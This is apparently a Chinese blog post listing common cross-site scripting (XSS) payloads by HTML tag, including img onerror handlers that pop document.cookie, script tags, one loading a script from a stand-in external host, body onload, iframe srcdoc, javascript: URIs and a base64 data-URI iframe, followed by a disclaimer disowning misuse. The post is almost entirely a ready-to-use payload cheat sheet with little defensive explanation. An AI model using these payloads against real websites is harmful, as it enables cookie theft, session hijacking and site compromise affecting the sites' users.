xss 常用语句

原创已于 2024-03-28 16:57:25 修改 · 1.2k 阅读

10 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#javascript #前端 #html

于 2024-03-28 16:53:34 首次发布

本文详细列举了各种HTML标签中可能存在的XSS注入点，如<img>、<script>、<body>、<iframe>、<embed>等，并提醒读者这些代码可能导致的安全威胁。作者强调实验性质，同时指出滥用可能导致的实际后果并非作者责任。

Python3.8

Conda

Python

Python 是一种高级、解释型、通用的编程语言，以其简洁易读的语法而闻名，适用于广泛的应用，包括Web开发、数据分析、人工智能和自动化脚本

<img> 标签：
<img src=1 onerror=alert(document.cookie)> //弹cookie
<img src=1 onerror=alert(/hck/)>
<img src=1 onerror=alert("hck")>
<img src=1 onerror=alert(123)> //对于数字，可以不用引导
<img src="javascript:alert("xss");">
<img dynsrc="javascript:alert('xss')">
<img lowsrc="javascript:alert('xss')">

script标签：
<script>alert(1)<script>
<script src=http://xxx.com/xss.js></script> //引用外部的xss
<script> alert("hack")</script>
<script> alert(document.cookie)</script>

body 标签：
<body onload=alert("xss")>
<body background="javascript:alert("xss")">

iframe 标签：
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></frame> --弹ip
<iframe srcdoc="<img src=x onerror=alert(1)>"></frame>

点击：
<button src=1 onclick=alert("你好")>

<img/src=1 onerror=alert(1) /> --反射型
<a href="javascript:confirm('a')" >1</a >
<iframe src= "javascript:alert('iframe')" width = "0" height = "0"/>
–!><script>prompt(1)</script>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">

声明:以上xss语句仅用于实验，利用以上语句对某用户、企业、业务造成影响的，一切与作者无关。

您可能感兴趣的与本文相关的镜像

Python3.8

Conda

Python

Python 是一种高级、解释型、通用的编程语言，以其简洁易读的语法而闻名，适用于广泛的应用，包括Web开发、数据分析、人工智能和自动化脚本